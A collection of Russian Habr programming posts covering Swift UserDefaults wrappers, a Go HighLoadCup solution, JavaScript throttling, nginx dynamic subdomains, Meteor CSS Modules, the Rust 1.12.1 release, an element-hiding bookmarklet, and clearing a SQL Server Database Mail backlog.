self.init(wrappedType: Int.self, key: key, store: store)
}
init(\_ key: String, store: UserDefaults = .standard) where Value == Double? {
self.init(wrappedType: Double.self, key: key, store: store)
}
init(\_ key: String, store: UserDefaults = .standard) where Value == String? {
self.init(wrappedType: String.self, key: key, store: store)
}
init(\_ key: String, store: UserDefaults = .standard) where Value == URL? {
self.init(wrappedType: URL.self, key: key, store: store)
}
init(\_ key: String, store: UserDefaults = .standard) where Value == Data? {
self.init(wrappedType: Data.self, key: key, store: store)
}
private init(wrappedType: T.Type, key: String, store: UserDefaults) {
get = {
let value = store.value(forKey: key) as? Value
return value ?? nil
}
set = { newValue in
let newValue = newValue as? Optional
if let newValue {
store.set(newValue, forKey: key)
} else {
store.removeObject(forKey: key)
}
}
}
}
public extension UserDefault where Value: RawRepresentable {
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value.RawValue == String {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value.RawValue == Int {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
private init(defaultValue: Value, key: String, store: UserDefaults) {
get = {
var value: Value?
if let rawValue = store.value(forKey: key) as? Value.RawValue {
value = Value(rawValue: rawValue)
}
return value ?? defaultValue
}
set = { newValue in
let value = newValue.rawValue
store.set(value, forKey: key)
}
}
}
public extension UserDefault {
init(\_ key: String, store: UserDefaults = .standard) where Value == R?, R: RawRepresentable, R.RawValue == Int {
self.init(key: key, store: store)
}
init(\_ key: String, store: UserDefaults = .standard) where Value == R?, R: RawRepresentable, R.RawValue == String {
self.init(key: key, store: store)
}
private init(key: String, store: UserDefaults) where Value == R?, R: RawRepresentable {
get = {
if let rawValue = store.value(forKey: key) as? R.RawValue {
return R(rawValue: rawValue)
} else {
return nil
}
}
set = { newValue in
let newValue = newValue as Optional
if let newValue {
store.set(newValue.rawValue, forKey: key)
} else {
store.removeObject(forKey: key)
}
}
}
}
```
Стоит отметить, что использование propertyWrapper намного удобней, так как кода становится существенно меньше, соответственно и читается он легче.
```
final class UserSettings {
@UserDefault("age")
var age: Int?
@UserDefault("name")
var name: String?
@UserDefault("planet")
var planet: Planet = .earth
func clear() {
age = nil
name = nil
planet = .earth
}
}
```
Заключение
----------
В последнее время, с момента появления SwiftUI, все большей популярностью пользуются [@propertyWrapper](/users/propertywrapper). Однако использование таких объектов накладывает дополнительные ограничения. К примеру, необходимо поднимать минимальную версию iOS и внедрять дополнительную зависимость от framework SwiftUI. Но это вовсе не означает, что нужно пользоваться тем, что есть, и пример тому был описан в этой статье.
1. [UserDefaults](https://developer.apple.com/documentation/foundation/userdefaults)
2. [AppStorage](https://developer.apple.com/documentation/swiftui/appstorage) | https://habr.com/ru/post/670378/ | null | ru | null |
# Очередное решение HighLoadCup на Go
Я думаю уже многие пользователи хабра знают что на прошлой недели закончился HighLoadCup от Mail.ru (из-за обилия количества статей от участников). Я хотел бы также поделиться своим решением с сообществом.
Описание задачи
---------------
Существует три вида сущностей: User, Location, Visit. Необходимо написать REST-API для доступа к ним, т.е. получается необходимо обработка 6 запросов.
* {GET, POST} /user/:id — получение или изменение пользователя
* {GET, POST} /location/:id — получение или изменение локации
* {GET, POST} /visit/:id — получение или изменение посещения локации пользователем
* POST /user/new — добавление нового пользователя
* POST /location/new — добавление новой локации
* POST /visit/new — добавление нового посещения локации пользователем
Как и в любом сервисе запросы могут быть невалидными и это также необходимо обрабатывать, но задача упрощается тем, что в целом HTTP-пакет всегда валиден.
Начало
------
Изначально я начал писать на С++, но до релиза так и не дошло. Увидев большое количество решений в топе на Go я решил тоже попробовать его. Этот язык мне показался значительно более подходящим для разработки серверных приложения, он имеет из коробки весь необходимый функционал причём в очень качественном исполнении. Впрочем, уже после первых тестов стало понятно, что ни net/http, ни encoding/json не подходят для данного конкурса в связи с большим количеством мусора, который генерируется внутри них.
### Раунд первый
Изначально данных было всего 200 мб в распакованном виде, поэтому я подумал что возможно даже хранить готовые JSON-строки для каждой сущность. В качестве http-сервера по советам гошников конкурса (спасибо им большое за оказанную помощь на старте знакомства с языком) я выбрал [fasthttp](https://github.com/valyala/fasthttp), для парсинга JSON [buger/jsonparser](https://github.com/buger/jsonparser) (позволяет парсинг без аллокаций и работать только с нужной информацией, игнорируя остальную), а генерацию производил руками, по-скольку никакой обработки русскоязычных строк не требовалось.
```
type User struct {
id uint
email string
first_name string
last_name string
gender bool
birth_date int64
age int
visits Visits
json []byte
}
type Location struct {
id uint
place string
country string
city string
distance int64
visits Visits
json []byte
}
type Visit struct {
id uint
location *Location
user *User
visited_at int64
mark int64
json []byte
}
```
Такие сущности у меня вышли на старте, в посещении для ускорения я решил хранить сразу указатели на соответствующих пользователя и локацию. Итог получился весьма удовлетворительным, все данные прекрасно помещались и в итоге я даже смог попасть в 10-ку (не на долго правда).
Возраст
-------
Отдельное внимание я хочу уделить вопросу расчёта возраста посетителя. Этот вопрос остро стоял для многих участников не смотря на наличие примера FAQ, меня тоже не миновала данная участь и в первые дни много ошибок было именно из-за неверного подсчёта. Также несколько раз в сгенерированных данных возникали пользователи у которых день рождения именно в день тестов, что тоже принесло некоторые трудности.
Итогом стал такой код:
```
func countAge(timestamp *int64) int {
now := time.Now()
t := time.Unix(*timestamp, 0)
years := now.Year() - t.Year()
if now.Month() > t.Month() || now.Month() == t.Month() && now.Day() >= t.Day() {
years += 1
}
return years
}
```
Увеличение нагрузки
-------------------
За несколько дней до финала после демократического и открытого голосования создатели конкурса в 10 раз увеличили количество данных и в 2 раза максимальный RPS. После этого моё решение перестало влезать в память и потребовало изменений. Пришлось убрать из структур заранее сгенерированный JSON и создавать его на лету при запросе, что увеличило, конечно же, реализм. В тоже время я подумал, а почему бы не добавить в структуры посетителя и локации сразу ссылки на посещения, которые с ними связаны. Это значительно увеличило скорость программы, так как не пришлось проходить каждый раз весь массив посещений (который теперь содержал 10 миллионов записей).
Решение после этого заработало, но по скорости стало уступать другим решениям и я рисковал не пройти в финал. Не долго думая я выкинул fasthttp и перешёл на tcp-сокеты и epoll. Размер окна в нашей системе был в районе 65кб и пакеты точно приходили и отправлялись полностью и это дало большое поле для костылей, которые в продакшене точно работать не будут.
Финал
-----
К финалу я подошёл на 39 месте, чему я был несомненно очень рад. Это первое моё участие в подобном конкурсе, первое знакомство с Go и highload (хотя я бы не назвал это highload). Финал начался плохо, сервер вылетел из-за ошибки одновременного доступа на чтение и запись (до финала таких проблем не возникало и локеры были вырезаны), тем не менее на одной из волн удалось показать лучший результат за все запуски что дало возможность занять 28 место.
В целом это был очень интересный и познавательный (для меня, по крайней мере) конкурс. Я хотел бы выразить огромную благодарность организаторам и жду следующего учтя все ошибки и «фичи» нынешнего (busy-polling, например). Правда в будущем обещан был больший упор именно на логику, а не на сетевой стек, что будет более интересным.
P.S. Жду футболочку :)
Код (вдруг кому-то станет интересно) можно посмотреть в моём [репозитории](https://github.com/WebProdPP/highloadcup). | https://habr.com/ru/post/338156/ | null | ru | null |
# JavaScript: ограничение частоты исполнения функции
JavaScript — удивительный язык, с которым порой удаётся вытворять неожиданно классные вещи. Хочу познакомить вас с немножко нестандартным решением одной проблемы быстродействия, с которой я недавно столкнулся. Предупреждение: не для новичков.
**Исходные данные:** ресурсоёмкая функция, обновляющая определённые элементы на экране по наступлению определённых событий (движение мышки, например).
**Проблема:** когда события, вызывающие функцию, происходят слишком часто за короткий промежуток времени, интерфейс может начать серьёзно тормозить. Скажем, если событие произойдёт 1000 раз за несколько секунд, то и обновление — столько же. Для интерфейса молниеносная скорость отрисовки изменений может быть не так важна, а вот общее быстродействие, которое в данном случае страдает — очень даже.
**Задача:** ограничить функцию таким образом, чтобы она исполнялась не чаще, чем раз за определённый промежуток времени. При достаточном малом таком промежутке визуально задержки не будут заметны, зато кол-во вызовов может сократиться в несколько раз, что в свою очередь очень сущесвенно сократит нагрузку и поможет избавиться от торможения.
Сделаем несколько начальных предположений.
1. Поскольку функция должна исполняться не всегда, а выборочно, необходима переменная-флаг, особым образом устанавливая и проверяя которую можно делать выбор.
2. В случае, если функция вызывается, но не подлежит исполнению (не прошёл заданный интервал с момента предыдущего исполнения), нельзя это просто оставлять — она должна обязательно исполниться по истечению интервала, — в противном случае после серии событий экран может не отображать самое последнее состояние (если последний вызов не исполнен). Для этого нужна переменная-флаг, говорящая о таких вызовах, которая будет проверяться по окончанию интервала.
3. Если происходит несколько неисполняемых вызовов подряд, достаточно будет отложить до конца интервала только последний. Для этого нам нужно хранить в переменной аргументы последнего вызова функции.
4. Работая вышеописанным образом, после ограничения функция должна сохранить изначальный scope и принимаемые аргументы — очевидно.
Перейдём, собственно, к коду. Мы разберём его позже по порядку.
```
var limitExecByInterval = function(fn, time) {
var lock, execOnUnlock, args;
return function() {
args = arguments;
if (!lock) {
lock = true;
var scope = this;
setTimeout(function(){
lock = false;
if (execOnUnlock) {
args.callee.apply(scope, args);
execOnUnlock = false;
}
}, time);
return fn.apply(this, args);
} else execOnUnlock = true;
}
}
```
`limitExecByInterval` принимает на вход исходную функцию и интервал в милисекундах, возвращая модифицированную функцию, которая будет исполняться описанным выше образом. (Для простоты я не сделал ее методом `Function.prototype`, хотя можно). Пример использования:
`var myFunc = function(...) { ... }
var myLimitedFunc = limitExecByInterval(myFunc, 150);`
При желании можно сделать ее методом любых функций через `Function.prototype`. Для этого достаточно две первые строчки изменить так:
```
Function.prototype.limitExecByInterval = function(time) {
var lock, execOnUnlock, args, fn = this;
...
```
Тогда можно вызывать так:
`var myLimitedFunc = myFunc.limitExecByInterval(150);`
Теперь разберёмся, что происходит в коде.
Сначала объявляются нужные нам переменные — заметьте, вне возвращаемой функции, — они будут общими для всех ее вызовов. В возвращаемой функции:
1. сохраняем аргументы вызова (см. п.3 предположений)
2. если не установлен флажок блокировки
1. устанавливаем флаг блокировки (п.1)
2. сохраняем scope функции для следующего шага (п.4)
3. откладываем на заданный интервал следующее:
* снять флаг блокировки (п.1)
* если установлен флаг исполнения по окончанию интервала (п.2), снять его и выполнить всю модифицированную функцию.
4. исполняем исходную функцию с данными аргументами, тем же scope и возвращаемым значением. (п.4)
Вот [простейший пример](http://agafonkin.com/files/etc/pattern.html) с работающим кодом. (Занимательный момент: разница с использованием ограничения и без отчётливо заметна в FF и IE, а вот в Opera и Safari всё молниеносно в обоих вариантах).
Надеюсь, ясно изъяснялся. :) Штука сложная, но мне лично очень помогла на практике решить реальную проблему. Признавайтесь теперь в комментариях, кто что понял и какие будут замечания. :) | https://habr.com/ru/post/17884/ | null | ru | null |
# Динамические поддомены с использованием nginx+apache
Этот топик — очередной топик про реализацию динамических поддоменов на сайте, коих много в [интернете](http://yandex.ru/yandsearch?text=%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5+%D0%BF%D0%BE%D0%B4%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D1%8B&lr=43) и даже есть пара топиков на хабре.
Проблема в том, что этот вопрос везде освещается только с точки зрения перенаправления с поддомена в папку и вся динамичность поддомена заключается в том, что ты создал папку — поддомен у тебя заработал.
Иногда же требуется решение другой проблемы — например вынос на поддомен профиля пользователя и всего функционала, который с ним связан.
Например, у нас есть готовый сайт, на котором работают профили по такому url: [www.example.com/users/username](http://www.example.com/users/username), и есть всякие дополнительные возможности (например [www.example.com/users/username/contact](http://www.example.com/users/username/contact) и другие страницы, связанные с этим юзером).
И мы теперь хотим вынести все, что связано с юзером, на поддомен, например [username.example.com](http://username.example.com/), [username.example.com/contact](http://username.example.com/contact) и т.д.)
Решения, которые были найдены в интернете, меня не удовлетворили по 2 причинам:
* Не нашел решения как заставить ее работать, сохранив работоспособность домена [www.example.com](http://www.example.com)
* Все найденные решения подходят только для перенаправления в папку и не работают если дальше должны работать какие то правила
На нашем сайте стоит nginx над апачем (как и на многих других), поэтому пришлось изобретать велосипед самому, используя эту связку (nginx+ apache, благо сейчас почти на всех крупных сайтах стоит проксирующий nginx над апачем)
В общем то решение простое — т.к. на сайте уже налажена через mod\_rewrite работоспособность ссылок вида [www.example.com/users](http://www.example.com/users/)([a-zA-Z\_]+) то было принято решение делать рерайт поддоменов через nginx.
Дополнительное условие — наш сайт работает только как ww.example.com, а example.com редиректит на www.
Соответственно осталось просто написать правило в конфиге nginx для рерайта поддоменов. Правило получилось такое **это решение — не верное, использовать его не рекомендуется**:
```
location / {
proxy_pass http://11.22.33.44:8080;
proxy_redirect http://www.example.com:8080/ /;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
# учитываем что обязательно нужен www
set $uid "www";
# берем uid из поддомена
if ($host ~* "^(([a-z0-9\-]+)\.example\.com)$") {
set $uid $2;
}
# рерайтить нужно только если uid не www, на www работает весь сайт
if ($uid !~ "^(www)$") {
rewrite ^(.*)$ /users/$uid$1 break;
}
}
```
**upd** После публикации топика [BlackWizard](http://habrahabr.ru/users/blackwizard/) подсказал лучшее решение, которое отвечает всем изначальным условиям:
```
server {
server_name www.example.com;
location / {
proxy_pass 11.22.33.44:8080;
}
}
server {
server_name ~^(?[a-z0-9\-]+)\.example.com$;
location / {
proxy\_pass 11.22.33.44:8080/users/$user$uri$is\_args$args;
}
}
```
Таким образом, если посетитель зашел на поддомен то nginx это определяет и запрашивает из апача уже адрес вида [www.example.com/users/username](http://www.example.com/users/username), а апач уже дальше разбирает все в соотвествии со своими правилами mod\_rewrite.
Полученное в итоге решение обладает следующими плюсами:
* Нет проблемы с www
* Легко внедряется на любом сайте с уже готовой системой ссылок (не будем рассматривать процесс измененения ссылок на самом сайте)
* Работает как для папок, так и для url, которые используют mod\_rewrite
Минусы:
* Требуется проксирующий nginx
В целом решение мне показалось довольно неплохим, готов выслушать рекомендации и критику от гуру, потому что сам я в деле настройки веб-серверов новичек, и возможно решение пригодится новичкам вроде меня.
**UPD**как сделать чтобы username.example.com работал без указания всех возможных доменов в конфиге веб-сервера
Чтобы сервер корректно обрабатывал динамические поддомены, необходимо добавить одну маленькую запись в настройки DNS. Это можно сделать, используя панель управления сервером.
Просто добавьте следующую запись формата A («A record» в англоязычной версии):
\*.example.com
Запись нужно добавлять после всех поддоменов (mail, smtp и т.д.) | https://habr.com/ru/post/101585/ | null | ru | null |
# Meteor + CSS-Modules + SugarSS
Котаны!
Вы знаете про [Meteor](https://www.meteor.com/)? Ну да — странный вопрос.
Вы знаете про [CSS-Modules](https://habrahabr.ru/post/270103/)? Прощай БЭМ.
Вы знаете про [SugarSS](https://github.com/postcss/sugarss)? Прощай SASS.
Перец из Техаса сегодня принял мой [pull-request](https://github.com/nathantreid/meteor-css-modules/pull/38). И всем этим счастьем теперь можно пользоваться. CoffeeScript, Jade, SugarSS — полный комплект для кошерного кода.
А воткнулся я после лекции Андрея Ситника (спасибо):
Но это еще не всё. Прикрутил postcss-initial и postcss-autoreset — получил полную изоляцию, которая в БЭМ и не снилась.
METEOR@1.3.2.4 — package.json
```
{
"dependencies": {
"meteor-node-stubs": "~0.2.0"
},
"devDependencies": {
"sugarss": "0.1.3",
"postcss-initial": "1.5.1",
"postcss-autoreset": "1.1.5",
"autoprefixer": "^6.3.6",
"postcss-modules-extract-imports": "1.0.0",
"postcss-modules-local-by-default": "1.0.0",
"postcss-modules-scope": "1.0.0",
"postcss-modules-values": "1.1.1",
"postcss-nested": "1.0.0",
"postcss-simple-vars": "1.1.0"
},
"cssModules": {
"enableSassCompilation": false,
"enableStylusCompilation": false,
"extensions": [
"sss"
],
"parser": "sugarss",
"postcssPlugins": {
"postcss-simple-vars": {
"inlineOptions": {
"variables": {
"orange": "orange"
}
},
"fileOptions": [
"client/colors.txt",
"client/fonts.json"
]
},
"postcss-initial": {"reset": "inherited"},
"postcss-autoreset": {"reset": "initial"},
"postcss-modules-values": {},
"postcss-nested": {},
"postcss-modules-local-by-default": {},
"postcss-modules-extract-imports": {},
"postcss-modules-scope": {},
"autoprefixer": {"browsers": ["last 2 versions"]}
}
}
}
``` | https://habr.com/ru/post/302224/ | null | ru | null |
# Выпуск Rust 1.12.1
Мы рады представить новую версию Rust 1.12.1. Rust — это системный язык программирования, нацеленный на безопасную работу с памятью, скорость и параллельное выполнение кода.
Как обычно, вы можете [установить Rust 1.12.1](https://www.rust-lang.org/install.html) с соответствующей страницы официального сайта, или с помощью [rustup](https://www.rustup.rs/) выполнив команду `rustup update stable`.
### Что вошло в стабильную версию 1.12.1
Секундочку… один-точка-двенадцать-точка… один?
Несколько недель назад, в [анонсе версии 1.12](https://habrahabr.ru/post/311384/), мы сказали:
> Выпуск 1.12 — возможно, самый значительный с момента выпуска 1.0.
И это правда. Одним из важных изменений был масштабный рефакторинг компилятора. Новый бэкенд [MIR](https://blog.rust-lang.org/2016/04/19/MIR.html) изменил его архитектуру и некоторые детали реализации. В целом процесс модернизации прошел так:
* Начальная поддержка MIR появилась в ночных сборках Rust 1.6.
* Когда работа была завершена, был добавлен флаг компиляции `--enable-orbit`,
что бы разработчики компилятора могли испытать новый бэкенд.
* Начиная с [октября](https://github.com/rust-lang/rust/pull/28748), мы всегда выполняли сборку MIR, даже если
он не использовался.
* Был добавлен параметр командной стоки `-Z orbit`, что бы пользователи ночных
сборок могли испытать и использовать MIR вместо этапа компиляции 'trans'.
* После длительного тестирования в течение нескольких месяцев, для версии
Rust 1.12, мы сделали [MIR бэкендом по умолчанию](https://github.com/rust-lang/rust/pull/34096).
* В Rust 1.13, [будет доступен только MIR](https://github.com/rust-lang/rust/pull/35764).
Столь глобальные изменения даются нелегко и очень важны. Поэтому важно сделать всё правильно и тщательно. Вот почему этот процесс идёт так долго. Мы регулярно тестируем компилятор с каждым из пакетов на crates.io, мы просим пользователей проверить `-Z orbit` на их исходниках, и после шести недель бета-тестирования, так и не возникло существенных проблем. Поэтому мы приняли решение использовать MIR по умолчанию в версии 1.12.
Но большие изменения это всегда риск, хоть мы старались свести его к минимуму. И так, после выхода 1.12, были найдены регрессии, которые мы не смогли обнаружить при тестировании. Не все из них связаны с MIR, просто, при столь масштабных изменениях, легко проявляются ошибки в других местах.
### Зачем делать промежуточный релиз?
Учитывая, что у нас шестинедельный цикл выпуска, и мы на полпути к Rust 1.13, почему мы решили выпустить исправление к версии 1.12, а не предложить пользователям просто подождать следующего релиза? Ранее мы говорили нечто подобное: "промежуточные релизы будут происходить только в крайних случаях, таких как уязвимость в стандартной библиотеке".
Мы заботимся не только о стабильности, но и о удобстве использования языка. Мы могли бы сказать всем вам подождать, но мы хотим, чтобы вы знали насколько серьезно мы настроены. Выпуск промежуточного релиза, в данной ситуации, это еще и способ показать наше стремление как можно быстрее исправлять ошибки.
Кроме того, раз уж речь не идёт о проблемах безопасности, это хороший повод попрактиковаться в выпуске промежуточных релизов. Мы никогда не делали этого раньше, и хотя процесс выпуска новой версии [частично автоматизирован](https://forge.rust-lang.org/release-process.html), но не полностью. Наличие промежуточного релиза позволит [выявить ошибки](https://github.com/rust-lang/rust/pull/37173#issuecomment-253938822) среди других инструментальных средств, например [rustup](https://www.rustup.rs/). А еще убедиться, что всё пройдёт по плану, если нам когда-нибудь понадобится, выпустить *аварийный* релиз из-за проблем безопасности или по любой другой причине.
Это первый промежуточный релиз Rust после выхода [Rust 0.3.1](https://mail.mozilla.org/pipermail/rust-dev/2012-July/002152.html), случившегося в 2012, он знаменует 72 недели с момента выпуска Rust 1.0, когда мы приняли наш шестинедельный такт выпуска релизов со строгими гарантиями стабильности. И хотя нам очень жаль, что в 1.12 есть регрессии, мы гордимся стабильностью Rust и будем прилагать все усилия, что бы сделать его платформой на которую можно положиться.
Мы хотим, чтобы Rust был самой надежной в мире платформой для разработки программного обеспечения.
### Примечание о тестировании с использованием бета-версий
Есть кое-что, что вы, как пользователь Rust, можете сделать, чтобы помочь нам исправить ошибки как можно раньше: проверяйте свой код с использованием бета-версий! Каждый бета-релиз, это релиз-кандидат следующей стабильной версии, так давайте использовать средства непрерывной интеграции. Так вы сможете сообщить нам о проблемах еще до того как они попадут в стабильный релиз! Это совсем не сложно. Например, если вы используете [Travis](https://travis-ci.org/), добавьте это в свой `.travis.yml`:
```
language: rust
rust:
- stable
- beta
```
И ваши тесты будут выполняться для двух версий компилятора. Кроме того, если вы не хотите, что бы ошибка в бета-версии приводила к ошибке всей сборки, добавьте это:
```
matrix:
allow_failures:
- rust: beta
```
Сборка с бета-версией может стать красной, но ваша стабильная сборка останется зелёной.
Большинство других систем непрерывной интеграции, таких как [AppVeyor](https://www.appveyor.com/), должны иметь [подобную возможность](https://www.appveyor.com/docs/build-configuration/#allow-failing-jobs). Обратитесь к документации используемой вами системы.
### Подробности
В версии 1.12.1 было исправлено девять ошибок, естественно, все эти исправления были перенесены в бета-версию 1.13.
* [ICE: 'rustc' паниковал с сообщением 'assertion failed: concrete\_substs.is\_normalized\_for\_trans()' #36381](https://github.com/rust-lang/rust/issues/36381)
* [Путаница с двойным отрицанием и логическими переменными](https://github.com/rust-lang/rust/issues/36856)
* [rustc 1.12.0 завершался с SIGSEGV при сборке релиза для пакета syn 0.8.0](https://github.com/rust-lang/rust/issues/36875)
* [Rustc 1.12.0 Windows-сборка пакета ethcore прерывалась с ошибкой LLVM](https://github.com/rust-lang/rust/issues/36924)
* [1.12.0: Использовалось много памяти при линковке релиз-версии с отладочной информацией](https://github.com/rust-lang/rust/issues/36926)
* [Повреждение памяти после перехода на 1.12](https://github.com/rust-lang/rust/issues/36936)
* ["Let NullaryConstructor = something;" приводит в внутренней ошибке компилятора: "tried to overwrite interned AdtDef"](https://github.com/rust-lang/rust/issues/37026)
* [Fix ICE: inject bitcast if types mismatch for invokes/calls/stores](https://github.com/rust-lang/rust/issues/37112)
* [debuginfo: Более правильная обработка spread\_arg в MIR-trans.](https://github.com/rust-lang/rust/issues/37153)
Кроме того, есть еще четыре регрессии. Мы решили не включать их в 1.12.1 по разным причинам, но постараемся устранить их как можно скорее.
* [ICE, возможно, связанный с типами ассоциированных типов?](https://github.com/rust-lang/rust/issues/36325)
* [Ошибка компиляции пакета использующего большой static phf::Map, на i686-pc-windows-gnu Beta](https://github.com/rust-lang/rust/issues/36799)
* [Регрессия: ошибка "no method found" при вызове метода дважды, с HRTB impl](https://github.com/rust-lang/rust/issues/37154)
* [ICE: фиктивный тип sizing\_type\_of](https://github.com/rust-lang/rust/issues/37109)
Полный перечень изменений между версиями 1.12.0 и 1.12.1 [здесь](https://github.com/rust-lang/rust/pull/37173). | https://habr.com/ru/post/314702/ | null | ru | null |
# Простой bookmarklet как средство очистки содержимого веб-страницы от нежелательных элементов
JavaScript использую достаточно давно, [букмарклеты](http://ru.wikipedia.org/wiki/Букмарклет) рассматривал когда-то в познавательных целях, но чтобы использовать,- необходимости не было.
Мысль о написании букмарклета пришла спонтанно: проверяя почту на одном из онлайн серверов ощутил явный дискомфорт, вызванный навязчивым (пёстрым и большим) флэш-банером, и это меня несколько озадачило, так как реклама встречается сплошь и рядом, временами некачественно сделанная реклама досаждает, но не так что бы очень (скорее воспринимается как окружающий фон). Первая мысль была найти дополнение для браузера (типа Flashblock), и уже было собрался устанавливать, но по разным причинам (использую разные браузеры на нескольких компьютерах, нежелание настраивать и сопровождать и т.п., да и далеко не все флэш-объекты провоцируют на то, чтобы их удалили) особого энтузиазма по поводу установки подобных дополнений не испытывал, но тут вспомнил про букмарклеты и написал простой код, позволяюший по мере необходимости легко справляться с очисткой страницы:
`(function(tagNameList){for(var j = 0, m = tagNameList.length; j < m; j++){var obj = document.getElementsByTagName(tagNameList[j]); for(var i = 0, n=obj.length; i < n ; i++) {obj[i].style.display = 'none'; }};})(['object','embed','iframe']);`
Небольшой комментарий для начинающих:
Код встроен в анонимную функцию см. <http://en.wikipedia.org/wiki/Anonymous_function#JavaScript>
Действующие примеры для экспериментов с Anonymous\_function:
<http://ideone.com/DWtzx>
<http://ideone.com/BCZlR>
В качестве аргумента анонимной функции передается массив имен тегов ('object','embed','iframe'), по которым ищутся соответствующие объекты в DOM HTML и найденные объекты превращаются в невидимые `obj[i].style.display = 'none';`… Изменяя содержимое данного списка, можно изменять состав объектов, к которым необходимо получить доступ.
Готовое решение представлено здесь:
<http://jsfiddle.net/ySG6a/>
Желающие больше узнать о букмарклетах, могут ознакомиться с обширной подборкой статей по данной теме на Хабре: <http://habrahabr.ru/search/?q=bookmarklet> | https://habr.com/ru/post/148404/ | null | ru | null |
# Database Mail. SQL Server. Остановка «спама»
Недавно столкнулся с проблемой "спама" в MSSQL и чтобы не забыть как решать эту проблему, решил написать статью.
Введение
--------
В MSSQL встроена служба "Database Mail", которая позволяет отправлять письма. Служба не содержит почтового сервера, вместо этого она хранит настройки для подключения к почтовому серверу.
Очередь почтовых сообщений и история писем хранится в системной базе msdb
Рассмотрим случай, когда служба "Database Mail" начинает очень часто отправлять одни и те же сообщения (проще говоря "спамить")
Общий алгоритм действий
-----------------------
1. Обнаружение проблемы. В почте за небольшой промежуток времени пришло множество писем с одинаковым содержимым
2. Отключение почтового сервера
3. Отключение Database Mail (exec msdb.dbo.sysmail\_stop\_sp)
4. Выяснение причины спама в SQL Server и исправление
5. Включение Database Mail (exec msdb.dbo.sysmail\_start\_sp)
6. Включение почтового сервера
Чтобы не рассылать спам, отключаем почтовый сервер или любым доступным способом прерываем связь между SQL Server и почтовым сервером
**После отключения почтового сервера, служба "Database Mail" продолжает работать и вся очередь писем продолжает накапливаться в базе msdb, со статусом failed (письма не доставлены)**
Вяснение причины "спама" в SQL Server и исправление
---------------------------------------------------
Для того, чтобы отследить отправляются ли письма при отключенном почтовом сервере в Database Mail, необходимо:
1. Остановить Database Mail
```
exec msdb.dbo.sysmail_stop_sp
```
2. Очистить историю неотправленных сообщений
```
-- Если количество записей в таблице msdb.sysmail_allitems очень большое,
-- то используйте параметр @sent_before для ограничения удаляемых записей
exec msdb.dbo.sysmail_delete_mailitems_sp @sent_status = 'unsent'
exec msdb.dbo.sysmail_delete_mailitems_sp @sent_status = 'retrying'
exec msdb.dbo.sysmail_delete_mailitems_sp @sent_status = 'failed'
```
3. Ищем и устраняем возможную причину в коде БД. Нужно искать в T-SQL коде: тему письма, текст письма, а также вызов процедуры **msdb.dbo.sp\_send\_dbmail**
4. Проверить, что сообщений больше нет. Запрос должен возвращать пустой результат:
```
select * from msdb..sysmail_allitems
where sent_status <> 'sent'
order by mailitem_id desc
```
4. Запустить Database Mail
```
exec msdb.dbo.sysmail_start_sp
```
5. Снова проверяем, что сообщения опять создаются. Если запрос возвращает одну или больше записей, то проблема со спамом писем еще не решена, а значит возвращаемся к пункту 1 (соответственно, включать почтовый сервер рано, иначе он будет рассылать спам). Если запрос ничего не возвращает, значит проблема решена и можно включать почтовый сервер
```
select * from msdb..sysmail_allitems
where sent_status <> 'sent'
order by mailitem_id desc
```
Дополнительные запросы в помощь
-------------------------------
Проверка текущего статуса службы Database Mail:
```
exec msdb..sysmail_help_queue_sp
```
Просмотр логов событий службы Database Mail
```
select * from msdb..sysmail_event_log order by log_id desc
```
После удаления истории сообщений будет не лишним сжать базу msdb:
```
DBCC SHRINKFILE(MSDBData, 512)
DBCC SHRINKFILE(MSDBLog, 512)
```
Причина спама
-------------
После остановки "Database Mail" в мониторинге репликаций обнаружены сообщения: ***Mail not queued. Database Mail is stopped. Use sysmail\_start\_sp\_ to Start Database Mail. (Source: MSSQLServer, Error number: 14641)***
Так обнаружилось, что спам рассылают репликации.
Скрин с ошибкой в мониторинге репликацийПо репликации выясняем, какая таблица рассылает спам.
Как оказалось, на эту таблицу создан триггер, в котором реализована отправка сообщения об изменении записей (хотя, условия проверки, что поля таблицы действительно изменяются - не было)
Транзакционная репликация для этой таблицы каждую секунду отправляла 10 писем
Ошибки в мониторинге репликаций объясняются тем, что из-за того, что в триггере есть отправка сообщения и Database Mail отключен, записи не могли изменяться в таблице
Как оказалось, таблица реплицировала записи из одной БД в другую внутри одного экземпляра MSSQL сервера, поэтому репликации заменили на синоним (create synonym).
Проблема была решена удалением репликации, после чего записи в таблице, на которой создан триггер, больше не изменялись и письма, соответственно, не отправлялись.
### Ссылки на мои бесплатные приложения
[ImportExportDataSql](https://vk.com/import_export_data_sql) - это десктопное приложение для разработчиков SQL Server, которое мне часто помогает в быстром решении различных задач
Подробности про ImportExportDataSqlПоддерживающие типы конвертации:
1. Бинарные поля из БД в файлы
2. Запись файлов в БД
3. Из БД в скрипт SQL
4. Из Excel в SQL
5. Из БД в CSV
6. Из CSV в SQL
7. Из CSV в БД
8. Сохранить конфигурацию БД в SQL
9. Сохранить из БД в БД
10. RDL отчет (аналог портативного SSRS с поддержкой работы из командной строки)
Статья [ImportExportDataSql — бесплатный конвертер данных MSSQL](https://habr.com/ru/post/485994/)
Скачать Windows приложение ImportExportDataSql:
[ImportExportDataSql x64 .NET Framework 3.5](https://yadi.sk/d/LJib2MpVEDNn3g)
[ImportExportDataSql x86 .NET Framework 3.5](https://yadi.sk/d/gvyq2EIDVgRj3A)
[ImportExportDataSql x64 .NET Framework 4.5.2](https://yadi.sk/d/glXqF7rq6U5KJA)
[ImportExportDataSql x86 .NET Framework 4.5.2](https://yadi.sk/d/uekc8spPawABNA)
[FAQ Net](https://vk.com/faq_net_free_soft) - записная книжка, программа заметок
Подробности про FAQ NetFAQ Net - это десктопное Windows приложение, позволяющее хранить документы Word в единой базе данных с возможностью быстрого поиска информации и иерархической структурой хранения. Приложение портативное (можно запускать с флешки). Встроены функции резервного копирования БД, печати и предварительного просмотра. При этом не обязательно, чтобы Word был установлен на компьютере.
Скачать Windows приложение FAQ Net:
[FAQ Net x64 .NET Framework 2.0](https://yadi.sk/d/sq3g4NOD3Zt7ZY)
